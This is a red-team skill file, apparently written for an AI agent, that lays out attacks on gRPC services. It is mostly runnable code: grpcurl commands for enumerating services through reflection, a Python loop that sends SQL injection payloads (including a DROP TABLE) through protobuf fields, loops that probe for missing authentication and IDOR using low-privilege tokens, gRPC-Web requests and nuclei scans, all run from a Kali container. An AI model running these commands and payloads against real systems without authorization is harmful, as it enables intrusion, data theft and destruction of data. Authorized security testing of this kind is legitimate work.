---
name: rt-exploit-grpc
description: "gRPC exploitation: reflection API enumeration, injection via protobuf fields, auth bypass, method enumeration without .proto files, gRPC-Web bypass, metadata injection, transcoding attacks."
---

# rt-exploit-grpc

## gRPC Enumeration (without .proto files)

```bash
# grpcurl — essential tool for gRPC testing
docker exec rtexit-kali bash -c "which grpcurl || go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest"

# List all services (requires reflection enabled — common misconfiguration)
docker exec rtexit-kali bash -c "
grpcurl -plaintext {target}:{port} list
grpcurl -insecure {target}:{port} list      # TLS, skip verify
"

# List methods for a service
docker exec rtexit-kali bash -c "
grpcurl -plaintext {target}:{port} list {ServiceName}
grpcurl -plaintext {target}:{port} describe {ServiceName}
"

# Invoke a method
docker exec rtexit-kali bash -c "
grpcurl -plaintext -d '{\"user_id\": \"1\"}' \
  {target}:{port} UserService/GetUser
"

# Full service dump
docker exec rtexit-kali bash -c "
grpcurl -plaintext {target}:{port} describe  # all message types
"
```

## gRPC Reflection Enumeration

```bash
# Many gRPC services leave reflection enabled in prod (misconfiguration)
# This allows full API discovery without .proto files

docker exec rtexit-kali bash -c "
# Test for reflection
grpcurl -plaintext {target}:{port} grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo <<< ''

# If reflection works → enumerate everything
grpcurl -plaintext {target}:{port} list | while read svc; do
  echo '=== SERVICE: '\$svc' ==='
  grpcurl -plaintext {target}:{port} list \$svc
  echo ''
done"
```

## gRPC Injection Attacks

```python
# gRPC Protobuf injection — test each string field
import grpc
from your_proto import service_pb2, service_pb2_grpc

channel = grpc.insecure_channel('{target}:{port}')
stub = service_pb2_grpc.UserServiceStub(channel)

# SQL injection in protobuf string fields
sqli_payloads = [
    "' OR 1=1--",
    "' UNION SELECT * FROM users--",
    "'; DROP TABLE users;--",
]

for payload in sqli_payloads:
    try:
        request = service_pb2.GetUserRequest(username=payload)
        response = stub.GetUser(request)
        print(f"Payload: {payload[:30]} → {response}")
    except Exception as e:
        print(f"Error: {e}")
```

## gRPC Auth Bypass

```bash
# Test missing auth on sensitive methods
docker exec rtexit-kali bash -c "
# No auth headers
grpcurl -plaintext -d '{}' {target}:{port} AdminService/ListUsers

# With auth metadata
grpcurl -plaintext \
  -H 'authorization: Bearer {token}' \
  -d '{}' {target}:{port} AdminService/ListUsers

# Test IDOR via protobuf field
for id in 1 2 3 100 999; do
  echo 'Testing ID: '\$id
  grpcurl -plaintext \
    -H 'authorization: Bearer {low_priv_token}' \
    -d '{\"user_id\": '\$id'}' \
    {target}:{port} UserService/GetUser
done"
```

## gRPC-Web Interception (Browser clients)

```bash
# gRPC-Web adds HTTP/1.1 compatibility layer
# Can be tested with standard HTTP tools

# gRPC-Web endpoint format
curl -sk -X POST \
  -H 'Content-Type: application/grpc-web+proto' \
  -H 'X-Grpc-Web: 1' \
  --data-binary @request.bin \
  https://{target}/grpc.service.Name/MethodName

# With Burp: enable gRPC-Web extension
# Or use: grpcui (web UI for gRPC)
docker exec rtexit-kali bash -c "
go install github.com/fullstorydev/grpcui/cmd/grpcui@latest
grpcui -plaintext {target}:{port}
# Opens browser UI at localhost:PORT"
```

## Nuclei Templates

```bash
docker exec rtexit-kali bash -c "
# Check for gRPC reflection enabled
nuclei -u {target}:{port} -t /root/nuclei-templates/network/grpc/

# grpcurl discovery
grpcurl -plaintext {target}:{port} list 2>&1 | grep -v 'Failed' && echo 'REFLECTION ENABLED'"
```

## Related Skills

→ `rt-exploit-api` — API security testing
→ `rt-exploit-injection` — Injection techniques
→ `rt-exploit-auth` — Auth bypass patterns
→ `rt-websockets-grpc` — WebSocket + gRPC combined
